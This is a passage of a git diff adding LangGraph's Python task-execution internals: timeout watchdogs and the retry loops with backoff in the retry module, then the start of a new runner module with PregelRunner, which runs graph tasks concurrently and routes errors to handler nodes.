+                    self._last_progress = time.monotonic()
+            stream_writer(chunk)
+
+        return guarded_stream_writer
+
+
+class _IdleProgressCallbackHandler(BaseCallbackHandler):
+    """Resets the idle timeout clock on any LangChain callback event.
+
+    Inherits via `config["callbacks"]`, so it sees only events emitted by
+    runs descended from the node's attempt — sibling nodes do not bleed
+    through. Holds the scope by weakref so a child manager that outlives
+    the attempt cannot keep the scope alive.
+    """
+
+    # Run inline so progress is recorded in callback emission order;
+    # thread-pool dispatch would introduce extra reordering.
+    run_inline = True
+
+    def __init__(self, scope: _TimedAttemptScope) -> None:
+        self._scope_ref = weakref.ref(scope)
+
+    def _touch(self, *args: Any, **kwargs: Any) -> None:
+        if (scope := self._scope_ref()) is not None:
+            scope.touch()
+
+    on_llm_start = _touch
+    on_chat_model_start = _touch
+    on_llm_new_token = _touch
+    on_llm_end = _touch
+    on_llm_error = _touch
+    on_chain_start = _touch
+    on_chain_end = _touch
+    on_chain_error = _touch
+    on_tool_start = _touch
+    on_tool_end = _touch
+    on_tool_error = _touch
+    on_retriever_start = _touch
+    on_retriever_end = _touch
+    on_retriever_error = _touch
+    on_agent_action = _touch
+    on_agent_finish = _touch
+    on_text = _touch
+    on_retry = _touch
+    on_custom_event = _touch
+
+
+def _is_user_raised_cancelled() -> bool:
+    """Return True if the in-flight ``CancelledError`` came from the task body.
+
+    Pregel cancels sibling tasks via ``task.cancel()`` when a peer fails, which
+    increments ``asyncio.Task.cancelling()`` on the target before the cancel
+    actually fires. A user node that calls ``raise asyncio.CancelledError()``
+    from inside its own body raises while ``cancelling() == 0``, which is the
+    signal we use to convert the exception into a regular
+    :class:`NodeCancelledError`.
+
+    Returns ``False`` when we can't tell (``cancelling()`` unavailable, or no
+    current task — neither should happen in practice from ``arun_with_retry``)
+    so framework-initiated cancellation continues to propagate unchanged.
+    """
+    if not SUPPORTS_TASK_CANCELLING:
+        return False
+    current = asyncio.current_task()
+    if current is None:
+        return False
+    return current.cancelling() == 0
+
+
+def _drain_cancelled(task: asyncio.Task[Any]) -> None:
+    # Mark the abandoned task's exception as retrieved so asyncio doesn't log it.
+    with suppress(asyncio.CancelledError):
+        task.exception()
+
+
+def _start_timed_attempt(
+    task: PregelExecutableTask, config: RunnableConfig, timeout: _ResolvedTimeout
+) -> _AttemptContext | None:
+    configurable = config.get(CONF, {})
+    callback = configurable.get(CONFIG_KEY_TIMED_ATTEMPT_OBSERVER)
+    if callback is None:
+        return None
+    runtime = configurable.get(CONFIG_KEY_RUNTIME)
+    execution_info = runtime.execution_info if isinstance(runtime, Runtime) else None
+    context = _AttemptContext(
+        task_id=task.id,
+        task_name=task.name,
+        attempt=execution_info.node_attempt if execution_info is not None else 1,
+        run_id=execution_info.run_id if execution_info is not None else None,
+        thread_id=execution_info.thread_id if execution_info is not None else None,
+        checkpoint_ns=(
+            execution_info.checkpoint_ns if execution_info is not None else None
+        ),
+        started_at=datetime.now(timezone.utc),
+        run_timeout_secs=timeout.run_timeout_secs,
+        idle_timeout_secs=timeout.idle_timeout_secs,
+        refresh_on=timeout.refresh_on,
+    )
+    _dispatch_observer(callback, _AttemptEvent(context=context, event="start"))
+    return context
+
+
+def _finish_timed_attempt(
+    config: RunnableConfig,
+    context: _AttemptContext | None,
+    error: BaseException | None = None,
+) -> None:
+    if context is None:
+        return
+    callback = config.get(CONF, {}).get(CONFIG_KEY_TIMED_ATTEMPT_OBSERVER)
+    if callback is None:
+        return
+    _dispatch_observer(
+        callback,
+        _AttemptEvent(
+            context=context,
+            event="finish",
+            finished_at=datetime.now(timezone.utc),
+            status="error" if error is not None else "success",
+            error_type=type(error).__name__ if error is not None else None,
+            error_message=str(error) if error is not None else None,
+        ),
+    )
+
+
+def _emit_progress(
+    callback: Callable[[_AttemptEvent], None],
+    context: _AttemptContext,
+) -> None:
+    _dispatch_observer(
+        callback,
+        _AttemptEvent(
+            context=context,
+            event="progress",
+            progress_at=datetime.now(timezone.utc),
+        ),
+    )
+
+
+def _dispatch_observer(
+    callback: Callable[[_AttemptEvent], None],
+    event: _AttemptEvent,
+) -> None:
+    try:
+        callback(event)
+    except Exception:
+        logger.warning("Timed attempt observer failed", exc_info=True)
+
+
+async def _run_timeout_watchdog(run_timeout_s: float) -> None:
+    await asyncio.sleep(run_timeout_s)
+    raise asyncio.TimeoutError
+
+
+async def _arun_with_timeout(
+    task: PregelExecutableTask,
+    config: RunnableConfig,
+    timeout: _ResolvedTimeout,
+    attempt_ctx: _AttemptContext | None,
+    *,
+    stream: bool,
+) -> Any:
+    run_timeout_s = timeout.run_timeout_secs
+    idle_timeout_s = timeout.idle_timeout_secs
+    on_progress: Callable[[], None] | None = None
+    if attempt_ctx is not None:
+        callback = config.get(CONF, {}).get(CONFIG_KEY_TIMED_ATTEMPT_OBSERVER)
+        if callback is not None and idle_timeout_s is not None:
+            on_progress = lambda: _emit_progress(callback, attempt_ctx)  # noqa: E731
+    scope = _TimedAttemptScope(
+        on_progress=on_progress,
+        # Cap progress emission at ~4 events per idle window so token-rate
+        # callbacks don't flood the observer.
+        progress_min_interval=idle_timeout_s / 4 if idle_timeout_s is not None else 0.0,
+        refresh_on=timeout.refresh_on,
+    )
+    scoped_config = scope.wrap_config(config)
+    start = time.monotonic()
+    if stream:
+        # Yielded chunks count as progress only under `refresh_on="auto"`.
+        # `refresh_on="heartbeat"` is the strict mode where only explicit
+        # `runtime.heartbeat()` calls reset the idle clock.
+        async def run() -> Any:
+            async for _ in task.proc.astream(task.input, scoped_config):
+                if timeout.refresh_on == "auto":
+                    scope.touch()
+
+    else:
+
+        async def run() -> Any:
+            return await task.proc.ainvoke(task.input, scoped_config)
+
+    bg = create_task_in_config_context(run, scoped_config)
+    watchdogs: dict[asyncio.Task[None], Literal["idle", "run"]] = {}
+    if idle_timeout_s is not None:
+        watchdogs[asyncio.create_task(scope.wait_for_idle_timeout(idle_timeout_s))] = (
+            "idle"
+        )
+    if run_timeout_s is not None:
+        watchdogs[asyncio.create_task(_run_timeout_watchdog(run_timeout_s))] = "run"
+    try:
+        done, _ = await asyncio.wait(
+            {bg, *watchdogs}, return_when=asyncio.FIRST_COMPLETED
+        )
+        if bg in done:
+            # Task completed in time.
+            for watchdog in watchdogs:
+                watchdog.cancel()
+            # FIRST_COMPLETED can return both; a watchdog may have
+            # already raised TimeoutError before we cancelled it.
+            for watchdog in watchdogs:
+                with suppress(asyncio.CancelledError, asyncio.TimeoutError):
+                    await watchdog
+            return await bg
+        # bg was not in `done`, so every member of `done` is one of our
+        # watchdogs. Only a watchdog's TimeoutError converts to
+        # NodeTimeoutError; any TimeoutError raised by the proc itself
+        # propagates unchanged.
+        for watchdog in done:
+            kind = watchdogs[watchdog]
+            try:
+                await watchdog
+            except asyncio.TimeoutError as exc:
+                elapsed = time.monotonic() - start
+                scope.close()
+                task.writes.clear()
+                bg.cancel()
+                bg.add_done_callback(_drain_cancelled)
+                raise NodeTimeoutError(
+                    task.name,
+                    elapsed,
+                    kind=kind,
+                    idle_timeout=idle_timeout_s,
+                    run_timeout=run_timeout_s,
+                ) from exc
+            raise RuntimeError(
+                f"{kind} timeout watchdog completed without raising TimeoutError"
+            )
+        raise RuntimeError("timeout wait completed without task or watchdog")
+    except asyncio.CancelledError:
+        scope.close()
+        bg.cancel()
+        for watchdog in watchdogs:
+            watchdog.cancel()
+        bg.add_done_callback(_drain_cancelled)
+        raise
+    finally:
+        scope.close()
+        for watchdog in watchdogs:
+            watchdog.cancel()
+
+
+def _ensure_execution_info(
+    runtime: Runtime, config: RunnableConfig, task: PregelExecutableTask
+) -> Runtime:
+    """Ensure runtime has execution_info, creating one from config if needed.
+
+    In the distributed runtime (LangGraph Platform), tasks are prepared by the
+    server and deserialized in the executor, bypassing the OSS _algo.py code
+    that normally creates ExecutionInfo. This function fills in execution_info
+    from the task config when it's missing.
+    """
+    if runtime.execution_info is not None:
+        return runtime
+    configurable = config.get(CONF, {})
+    return runtime.override(
+        execution_info=ExecutionInfo(
+            checkpoint_id=configurable.get(CONFIG_KEY_CHECKPOINT_ID) or "",
+            checkpoint_ns=configurable.get(CONFIG_KEY_CHECKPOINT_NS) or "",
+            task_id=configurable.get(CONFIG_KEY_TASK_ID) or task.id,
+            thread_id=configurable.get(CONFIG_KEY_THREAD_ID),
+            run_id=str(rid) if (rid := config.get("run_id")) else None,
+        ),
+    )
+
+
+def _checkpoint_ns_for_parent_command(ns: str) -> str:
+    """Return the checkpoint namespace for the parent graph.
+
+    The checkpoint namespace is a `|`-separated path. Each segment is usually
+    of the form `name:task_id` (e.g. `parent_first:|node:`), but the
+    runtime may also insert a purely-numeric segment (e.g. `|1`) to disambiguate
+    concurrent tasks (e.g. `parent_first:|1|node:`).
+
+    Numeric segments are not real path levels, so we drop them before computing
+    the parent namespace.
+    """
+
+    parts = ns.split(NS_SEP)
+
+    # Drop any trailing numeric selectors for the current frame (e.g. `...|node:|1`).
+    while parts and parts[-1].isdigit():
+        parts.pop()
+
+    # Drop the current frame segment itself (e.g. the `node:`).
+    if parts:
+        parts.pop()
+
+    # Drop any trailing numeric selectors for the parent frame (e.g. `...|1|node:`).
+    while parts and parts[-1].isdigit():
+        parts.pop()
+
+    return NS_SEP.join(parts)
+
+
+def run_with_retry(
+    task: PregelExecutableTask,
+    retry_policy: Sequence[RetryPolicy] | None,
+    configurable: dict[str, Any] | None = None,
+) -> None:
+    """Run a task with retries."""
+    retry_policy = task.retry_policy or retry_policy
+    if task.timeout is not None:
+        # `validate_timeout_supported` catches sync nodes at compile time;
+        # this is a runtime safety net for paths that may bypass that validation.
+        raise sync_timeout_unsupported(task.name)
+    attempts = 0
+    node_first_attempt_time = time.time()
+    config = task.config
+    if configurable is not None:
+        config = patch_configurable(config, configurable)
+    runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+    if isinstance(runtime, Runtime):
+        runtime = _ensure_execution_info(runtime, config, task)
+        config = patch_configurable(
+            config,
+            {
+                CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
+                    node_first_attempt_time=node_first_attempt_time,
+                )
+            },
+        )
+    while True:
+        runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+        if isinstance(runtime, Runtime):
+            config = patch_configurable(
+                config,
+                {
+                    CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
+                        # node_attempt is execution count (1-indexed): 1 on first run,
+                        # then 2, 3, ... on subsequent retries.
+                        node_attempt=attempts + 1,
+                    )
+                },
+            )
+        try:
+            # clear any writes from previous attempts
+            task.writes.clear()
+            # run the task
+            return task.proc.invoke(task.input, config)
+        except ParentCommand as exc:
+            ns: str = config[CONF][CONFIG_KEY_CHECKPOINT_NS]
+            cmd = exc.args[0]
+            # strip task_ids from namespace for comparison (ns format: "node1|node2:task_id")
+            if cmd.graph in (ns, recast_checkpoint_ns(ns), task.name):
+                # this command is for the current graph, handle it
+                for w in task.writers:
+                    w.invoke(cmd, config)
+                break
+            elif cmd.graph == Command.PARENT:
+                # this command is for the parent graph, assign it to the parent.
+                exc.args = (replace(cmd, graph=_checkpoint_ns_for_parent_command(ns)),)
+            # bubble up
+            raise
+        except GraphBubbleUp:
+            # if interrupted, end
+            raise
+        except asyncio.CancelledError as exc:
+            # A sync node has no asyncio context, so any ``CancelledError`` that
+            # reaches here was raised by the node body itself. Surface it as a
+            # regular exception so the pregel runner panics the run instead of
+            # treating the task as a silent tear-down (LSD-1507).
+            raise NodeCancelledError(task.name) from exc
+        except Exception as exc:
+            if SUPPORTS_EXC_NOTES:
+                exc.add_note(f"During task with name '{task.name}' and id '{task.id}'")
+            if not retry_policy:
+                raise
+
+            # Check which retry policy applies to this exception
+            matching_policy = None
+            for policy in retry_policy:
+                if _should_retry_on(policy, exc):
+                    matching_policy = policy
+                    break
+
+            if not matching_policy:
+                raise
+
+            # attempts tracks failed tries only; it increments after a failure.
+            attempts += 1
+            # check if we should give up
+            if attempts >= matching_policy.max_attempts:
+                raise
+            # sleep before retrying
+            interval = matching_policy.initial_interval
+            # Apply backoff factor based on attempt count
+            interval = min(
+                matching_policy.max_interval,
+                interval * (matching_policy.backoff_factor ** (attempts - 1)),
+            )
+
+            # Apply jitter if configured
+            sleep_time = (
+                interval + random.uniform(0, 1) if matching_policy.jitter else interval
+            )
+            time.sleep(sleep_time)
+
+            # log the retry
+            logger.info(
+                f"Retrying task {task.name} after {sleep_time:.2f} seconds (attempt {attempts}) after {exc.__class__.__name__} {exc}",
+                exc_info=exc,
+            )
+            # signal subgraphs to resume (if available)
+            config = patch_configurable(config, {CONFIG_KEY_RESUMING: True})
+
+
+async def arun_with_retry(
+    task: PregelExecutableTask,
+    retry_policy: Sequence[RetryPolicy] | None,
+    stream: bool = False,
+    match_cached_writes: Callable[[], Awaitable[Sequence[PregelExecutableTask]]]
+    | None = None,
+    configurable: dict[str, Any] | None = None,
+) -> None:
+    """Run a task asynchronously with retries."""
+    retry_policy = task.retry_policy or retry_policy
+    resolved_timeout = (
+        _resolve_timeout(task.timeout) if task.timeout is not None else None
+    )
+    attempts = 0
+    node_first_attempt_time = time.time()
+    config = task.config
+    if configurable is not None:
+        config = patch_configurable(config, configurable)
+    runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+    if isinstance(runtime, Runtime):
+        runtime = _ensure_execution_info(runtime, config, task)
+        config = patch_configurable(
+            config,
+            {
+                CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
+                    node_first_attempt_time=node_first_attempt_time,
+                )
+            },
+        )
+    if match_cached_writes is not None and task.cache_key is not None:
+        for t in await match_cached_writes():
+            if t is task:
+                # if the task is already cached, return
+                return
+    while True:
+        runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+        if isinstance(runtime, Runtime):
+            config = patch_configurable(
+                config,
+                {
+                    CONFIG_KEY_RUNTIME: runtime.patch_execution_info(
+                        # node_attempt is execution count (1-indexed): 1 on first run,
+                        # then 2, 3, ... on subsequent retries.
+                        node_attempt=attempts + 1,
+                    )
+                },
+            )
+        attempt_ctx = (
+            _start_timed_attempt(task, config, resolved_timeout)
+            if resolved_timeout is not None
+            else None
+        )
+        try:
+            task.writes.clear()
+            if resolved_timeout is None:
+                if stream:
+                    async for _ in task.proc.astream(task.input, config):
+                        pass
+                    break
+                return await task.proc.ainvoke(task.input, config)
+            result = await _arun_with_timeout(
+                task, config, resolved_timeout, attempt_ctx, stream=stream
+            )
+            _finish_timed_attempt(config, attempt_ctx)
+            if stream:
+                # if successful, end
+                break
+            return result
+        except ParentCommand as exc:
+            ns: str = config[CONF][CONFIG_KEY_CHECKPOINT_NS]
+            cmd = exc.args[0]
+            # strip task_ids from namespace for comparison (ns format: "node1|node2:task_id")
+            if cmd.graph in (ns, recast_checkpoint_ns(ns), task.name):
+                try:
+                    # this command is for the current graph, handle it
+                    for w in task.writers:
+                        w.invoke(cmd, config)
+                except Exception as writer_exc:
+                    _finish_timed_attempt(config, attempt_ctx, writer_exc)
+                    raise
+                _finish_timed_attempt(config, attempt_ctx)
+                break
+            elif cmd.graph == Command.PARENT:
+                # this command is for the parent graph, assign it to the parent.
+                exc.args = (replace(cmd, graph=_checkpoint_ns_for_parent_command(ns)),)
+            _finish_timed_attempt(config, attempt_ctx)
+            # bubble up the exception to the parent graph
+            raise
+        except GraphBubbleUp:
+            # if interrupted, end
+            _finish_timed_attempt(config, attempt_ctx)
+            raise
+        except asyncio.CancelledError as exc:
+            # ``CancelledError`` reaches us in two very different shapes:
+            #   1. Pregel cancelled this task because a sibling failed
+            #      (``asyncio.Task.cancelling() >= 1``). The framework already
+            #      knows the run is failing and we must let cancellation
+            #      propagate so the watchdog/cleanup code in the runner sees a
+            #      cancelled future.
+            #   2. The node body itself raised ``asyncio.CancelledError`` (
+            #      ``cancelling() == 0``). The runner would otherwise treat
+            #      this as silent tear-down and the run would report
+            #      ``success`` even though the node failed (LSD-1507). Convert
+            #      it into :class:`NodeCancelledError` so it follows the same
+            #      path as any other node failure.
+            if _is_user_raised_cancelled():
+                _finish_timed_attempt(config, attempt_ctx, exc)
+                raise NodeCancelledError(task.name) from exc
+            _finish_timed_attempt(config, attempt_ctx, exc)
+            raise
+        except Exception as exc:
+            _finish_timed_attempt(config, attempt_ctx, exc)
+            if SUPPORTS_EXC_NOTES:
+                exc.add_note(f"During task with name '{task.name}' and id '{task.id}'")
+            if not retry_policy:
+                raise
+
+            # Check which retry policy applies to this exception
+            matching_policy = None
+            for policy in retry_policy:
+                if _should_retry_on(policy, exc):
+                    matching_policy = policy
+                    break
+
+            if not matching_policy:
+                raise
+
+            # attempts tracks failed tries only; it increments after a failure.
+            # The next execution's node_attempt is derived as attempts + 1.
+            attempts += 1
+            # check if we should give up
+            if attempts >= matching_policy.max_attempts:
+                raise
+            # sleep before retrying
+            interval = matching_policy.initial_interval
+            # Apply backoff factor based on attempt count
+            interval = min(
+                matching_policy.max_interval,
+                interval * (matching_policy.backoff_factor ** (attempts - 1)),
+            )
+
+            # Apply jitter if configured
+            sleep_time = (
+                interval + random.uniform(0, 1) if matching_policy.jitter else interval
+            )
+            await asyncio.sleep(sleep_time)
+
+            # log the retry
+            logger.info(
+                f"Retrying task {task.name} after {sleep_time:.2f} seconds (attempt {attempts}) after {exc.__class__.__name__} {exc}",
+                exc_info=exc,
+            )
+            # signal subgraphs to resume (if available)
+            config = patch_configurable(config, {CONFIG_KEY_RESUMING: True})
+
+
+def _should_retry_on(retry_policy: RetryPolicy, exc: Exception) -> bool:
+    """Check if the given exception should be retried based on the retry policy."""
+    if isinstance(retry_policy.retry_on, Sequence):
+        return isinstance(exc, tuple(retry_policy.retry_on))
+    elif isinstance(retry_policy.retry_on, type) and issubclass(
+        retry_policy.retry_on, Exception
+    ):
+        return isinstance(exc, retry_policy.retry_on)
+    elif callable(retry_policy.retry_on):
+        return retry_policy.retry_on(exc)  # type: ignore[call-arg]
+    else:
+        raise TypeError(
+            "retry_on must be an Exception class, a list or tuple of Exception classes, or a callable"
+        )
diff --git a/libs/langgraph/langgraph/pregel/_runner.py b/libs/langgraph/langgraph/pregel/_runner.py
new file mode 100644
index 0000000..4d53b9f
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_runner.py
@@ -0,0 +1,941 @@
+from __future__ import annotations
+
+import asyncio
+import concurrent.futures
+import inspect
+import threading
+import time
+import weakref
+from collections.abc import (
+    AsyncIterator,
+    Awaitable,
+    Callable,
+    Collection,
+    Iterable,
+    Iterator,
+    Mapping,
+    Sequence,
+)
+from functools import partial
+from typing import (
+    Any,
+    Generic,
+    TypeVar,
+    cast,
+)
+
+from langchain_core.callbacks import Callbacks
+
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CALL,
+    CONFIG_KEY_SCRATCHPAD,
+    ERROR,
+    ERROR_SOURCE_NODE,
+    INTERRUPT,
+    NO_WRITES,
+    RESUME,
+    RETURN,
+)
+from langgraph._internal._future import chain_future, run_coroutine_threadsafe
+from langgraph._internal._scratchpad import PregelScratchpad
+from langgraph._internal._typing import MISSING
+from langgraph.constants import TAG_HIDDEN
+from langgraph.errors import GraphBubbleUp, GraphInterrupt
+from langgraph.pregel._algo import Call
+from langgraph.pregel._executor import Submit
+from langgraph.pregel._retry import arun_with_retry, run_with_retry
+from langgraph.types import (
+    CachePolicy,
+    PregelExecutableTask,
+    RetryPolicy,
+    TimeoutPolicy,
+)
+
+F = TypeVar("F", concurrent.futures.Future, asyncio.Future)
+E = TypeVar("E", threading.Event, asyncio.Event)
+
+# List of filenames to exclude from exception traceback
+# Note: Frames will be removed if they are the last frame in traceback, recursively
+EXCLUDED_FRAME_FNAMES = (
+    "langgraph/pregel/retry.py",
+    "langgraph/pregel/runner.py",
+    "langgraph/pregel/executor.py",
+    "langgraph/utils/runnable.py",
+    "langchain_core/runnables/config.py",
+    "concurrent/futures/thread.py",
+    "concurrent/futures/_base.py",
+)
+
+SKIP_RERAISE_SET: weakref.WeakSet[concurrent.futures.Future | asyncio.Future] = (
+    weakref.WeakSet()
+)
+
+
+class FuturesDict(Generic[F, E], dict[F, PregelExecutableTask | None]):
+    event: E
+    callback: weakref.ref[Callable[[PregelExecutableTask, BaseException | None], None]]
+    # Stop condition is injected by PregelRunner instead of hard-coded here.
+    # This lets the runner treat graph-error-handled exceptions as non-fatal
+    # so `on_done` does not trigger an early stop for those futures.
+    should_stop: Callable[[set[F]], bool]
+    counter: int
+    done: set[F]
+    lock: threading.Lock
+
+    def __init__(
+        self,
+        event: E,
+        callback: weakref.ref[
+            Callable[[PregelExecutableTask, BaseException | None], None]
+        ],
+        should_stop: Callable[[set[F]], bool],
+        future_type: type[F],
+        # used for generic typing, newer py supports FutureDict[...](...)
+    ) -> None:
+        super().__init__()
+        self.lock = threading.Lock()
+        self.event = event
+        self.callback = callback
+        self.should_stop = should_stop
+        self.counter = 0
+        self.done: set[F] = set()
+
+    def __setitem__(
+        self,
+        key: F,
+        value: PregelExecutableTask | None,
+    ) -> None:
+        super().__setitem__(key, value)  # type: ignore[index]
+        if value is not None:
+            with self.lock:
+                self.event.clear()
+                self.counter += 1
+            key.add_done_callback(partial(self.on_done, value))
+
+    def on_done(
+        self,
+        task: PregelExecutableTask,
+        fut: F,
+    ) -> None:
+        # Called automatically by future.add_done_callback registered in __setitem__.
+        try:
+            if cb := self.callback():
+                cb(task, _exception(fut))
+        finally:
+            with self.lock:
+                self.done.add(fut)
+                self.counter -= 1
+                # Wake waiter when all tracked futures are done, or when runner-level
+                # stop condition is met (for example, a non-handled fatal exception).
+                if self.counter == 0 or self.should_stop(self.done):
+                    self.event.set()
+
+
+class PregelRunner:
+    """Responsible for executing a set of Pregel tasks concurrently, committing
+    their writes, yielding control to caller when there is output to emit, and
+    interrupting other tasks if appropriate."""
+
+    def __init__(
+        self,
+        *,
+        submit: weakref.ref[Submit],
+        put_writes: weakref.ref[Callable[[str, Sequence[tuple[str, Any]]], None]],
+        use_astream: bool = False,
+        node_finished: Callable[[str], None] | None = None,
+        node_error_handler_map: Mapping[str, str] | None = None,
+        schedule_error_handler: Callable[
+            [PregelExecutableTask, BaseException], PregelExecutableTask | None
+        ]
+        | None = None,
+        aschedule_error_handler: Callable[
+            [PregelExecutableTask, BaseException],
+            Awaitable[PregelExecutableTask | None],
+        ]
+        | None = None,
+    ) -> None:
+        self.submit = submit
+        self.put_writes = put_writes
+        self.use_astream = use_astream
+        self.node_finished = node_finished
+        self.node_error_handler_map = dict(node_error_handler_map or {})
+        self.error_handler_nodes = set(self.node_error_handler_map.values())
+        self.schedule_error_handler = schedule_error_handler
+        self.aschedule_error_handler = aschedule_error_handler
+        # Exception object ids that are already routed to graph-level error handler.
+        # These ids are consulted by stop/panic checks to avoid re-raising handled
+        # exceptions via the normal fatal path in the same run.
+        self._handled_exception_ids: set[int] = set()
+
+    def _should_route_to_error_handler(self, task: PregelExecutableTask) -> bool:
+        if task.name in self.error_handler_nodes:
+            return False
+        return task.name in self.node_error_handler_map
+
+    def tick(
+        self,
+        tasks: Iterable[PregelExecutableTask],
+        *,
+        reraise: bool = True,
+        timeout: float | None = None,
+        retry_policy: Sequence[RetryPolicy] | None = None,
+        get_waiter: Callable[[], concurrent.futures.Future[None]] | None = None,
+        schedule_task: Callable[
+            [PregelExecutableTask, int, Call | None],
+            PregelExecutableTask | None,
+        ],
+    ) -> Iterator[None]:
+        tasks = tuple(tasks)
+        futures = FuturesDict(
+            callback=weakref.WeakMethod(self.commit),
+            event=threading.Event(),
+            should_stop=partial(
+                _should_stop_others, handled_exception_ids=self._handled_exception_ids
+            ),
+            future_type=concurrent.futures.Future,
+        )
+        # give control back to the caller
+        yield
+        # fast path if single task with no timeout and no waiter
+        if len(tasks) == 0:
+            return
+        elif len(tasks) == 1 and timeout is None and get_waiter is None:
+            t = tasks[0]
+            scheduled_error_handler = False
+            try:
+                run_with_retry(
+                    t,
+                    retry_policy,
+                    configurable={
+                        CONFIG_KEY_CALL: partial(
+                            _call,
+                            weakref.ref(t),
+                            retry_policy=retry_policy,
+                            futures=weakref.ref(futures),
+                            schedule_task=schedule_task,
+                            submit=self.submit,
+                        ),
+                    },
+                )
+                self.commit(t, None)
+            except Exception as exc:
+                self.commit(t, exc)
+                if (
+                    not isinstance(exc, GraphBubbleUp)
+                    and self._should_route_to_error_handler(t)
+                    and self.schedule_error_handler is not None
+                ):
+                    self._handled_exception_ids.add(id(exc))
+                    if handler_task := self.schedule_error_handler(t, exc):
+                        tasks = (handler_task,)
+                        scheduled_error_handler = True
+                        # Continue to the regular scheduling path for handler execution.
+                if reraise and futures:
+                    if id(exc) not in self._handled_exception_ids:
+                        # will be re-raised after futures are done
+                        fut: concurrent.futures.Future = concurrent.futures.Future()
+                        fut.set_exception(exc)
+                        futures.done.add(fut)
+                elif reraise and id(exc) not in self._handled_exception_ids:
+                    if tb := exc.__traceback__:
+                        while tb.tb_next is not None and any(
+                            tb.tb_frame.f_code.co_filename.endswith(name)
+                            for name in EXCLUDED_FRAME_FNAMES
+                        ):
+                            tb = tb.tb_next
+                        exc.__traceback__ = tb
+                    raise
+            if not futures and not scheduled_error_handler:
+                # maybe `t` scheduled another task
+                return
+            else:
+                if not scheduled_error_handler:
+                    tasks = ()  # don't reschedule this task
+        # add waiter task if requested
+        if get_waiter is not None:
+            futures[get_waiter()] = None
+        # schedule tasks
+        for t in tasks:
+            fut = self.submit()(  # type: ignore[misc]
+                run_with_retry,
+                t,
+                retry_policy,
+                configurable={
+                    CONFIG_KEY_CALL: partial(
+                        _call,
+                        weakref.ref(t),
+                        retry_policy=retry_policy,
+                        futures=weakref.ref(futures),
+                        schedule_task=schedule_task,
+                        submit=self.submit,
+                    ),
+                },
+                __reraise_on_exit__=reraise,
+            )
+            futures[fut] = t
+        # execute tasks, and wait for one to fail or all to finish.
+        # each task is independent from all other concurrent tasks
+        # yield updates/debug output as each task finishes
+        end_time = timeout + time.monotonic() if timeout else None
+        handled_futures: set[concurrent.futures.Future[Any]] = set()
+        while len(futures) > (1 if get_waiter is not None else 0):
+            done, inflight = concurrent.futures.wait(
+                futures,
+                return_when=concurrent.futures.FIRST_COMPLETED,
+                timeout=(max(0, end_time - time.monotonic()) if end_time else None),
+            )
+            if not done:
+                break  # timed out
+            done_for_stop: set[concurrent.futures.Future[Any]] = set()
+            for fut in done:
+                task = futures.pop(fut)
+                if task is None:
+                    # waiter task finished, schedule another
+                    if inflight and get_waiter is not None:
+                        futures[get_waiter()] = None
+                elif (
+                    (task_exc := _exception(fut))
+                    and self._should_route_to_error_handler(task)
+                    and not isinstance(task_exc, GraphBubbleUp)
+                ):
+                    self._handled_exception_ids.add(id(task_exc))
+                    SKIP_RERAISE_SET.add(fut)
+                    handled_futures.add(fut)
+                    if self.schedule_error_handler is not None:
+                        if handler_task := self.schedule_error_handler(task, task_exc):
+                            handler_fut = self.submit()(  # type: ignore[misc]
+                                run_with_retry,
+                                handler_task,
+                                retry_policy,
+                                configurable={
+                                    CONFIG_KEY_CALL: partial(
+                                        _call,
+                                        weakref.ref(handler_task),
+                                        retry_policy=retry_policy,
+                                        futures=weakref.ref(futures),
+                                        schedule_task=schedule_task,
+                                        submit=self.submit,
+                                    ),
+                                },
+                                __reraise_on_exit__=reraise,
+                            )
+                            futures[handler_fut] = handler_task
+                else:
+                    done_for_stop.add(fut)
+            else:
+                # remove references to loop vars
+                del fut, task
+            # maybe stop other tasks
+            if _should_stop_others(
+                done_for_stop, handled_exception_ids=self._handled_exception_ids
+            ):
+                break
+            # give control back to the caller
+            yield
+        # wait for done callbacks
+        futures.event.wait(
+            timeout=(max(0, end_time - time.monotonic()) if end_time else None)
+        )
+        # give control back to the caller
+        yield
+        # panic on failure or timeout
+        try:
+            _panic_or_proceed(
+                futures.done.union(f for f, t in futures.items() if t is not None),
+                panic=reraise,
+                handled_exception_ids=self._handled_exception_ids,
+                handled_futures=handled_futures,
+            )
+        except Exception as exc:
+            if tb := exc.__traceback__:
+                while tb.tb_next is not None and any(
+                    tb.tb_frame.f_code.co_filename.endswith(name)
+                    for name in EXCLUDED_FRAME_FNAMES
+                ):
+                    tb = tb.tb_next
+                exc.__traceback__ = tb
+            raise
+
+    async def atick(
+        self,
+        tasks: Iterable[PregelExecutableTask],
+        *,
+        reraise: bool = True,
+        timeout: float | None = None,
+        retry_policy: Sequence[RetryPolicy] | None = None,
+        get_waiter: Callable[[], asyncio.Future[None]] | None = None,
+        schedule_task: Callable[
+            [PregelExecutableTask, int, Call | None],
+            Awaitable[PregelExecutableTask | None],
+        ],
+    ) -> AsyncIterator[None]:
+        try:
+            loop = asyncio.get_event_loop()
+        except RuntimeError:
+            loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(loop)
+        tasks = tuple(tasks)
+        futures = FuturesDict(
+            callback=weakref.WeakMethod(self.commit),
+            event=asyncio.Event(),
+            should_stop=partial(
+                _should_stop_others, handled_exception_ids=self._handled_exception_ids
+            ),
+            future_type=asyncio.Future,
+        )
+        # give control back to the caller
+        yield
+        # fast path if single task with no waiter and no timeout
+        if len(tasks) == 0:
+            return
+        elif len(tasks) == 1 and get_waiter is None and timeout is None:
+            t = tasks[0]
+            scheduled_error_handler = False
+            try:
+                await arun_with_retry(
+                    t,
+                    retry_policy,
+                    stream=self.use_astream,
+                    configurable={
+                        CONFIG_KEY_CALL: partial(
+                            _acall,
+                            weakref.ref(t),
+                            stream=self.use_astream,
+                            retry_policy=retry_policy,
+                            futures=weakref.ref(futures),
+                            schedule_task=schedule_task,
+                            submit=self.submit,
+                            loop=loop,
+                        ),
+                    },
+                )
+                self.commit(t, None)
+            except Exception as exc:
+                self.commit(t, exc)
+                if (
+                    not isinstance(exc, GraphBubbleUp)
+                    and self._should_route_to_error_handler(t)
+                    and self.aschedule_error_handler is not None
+                ):
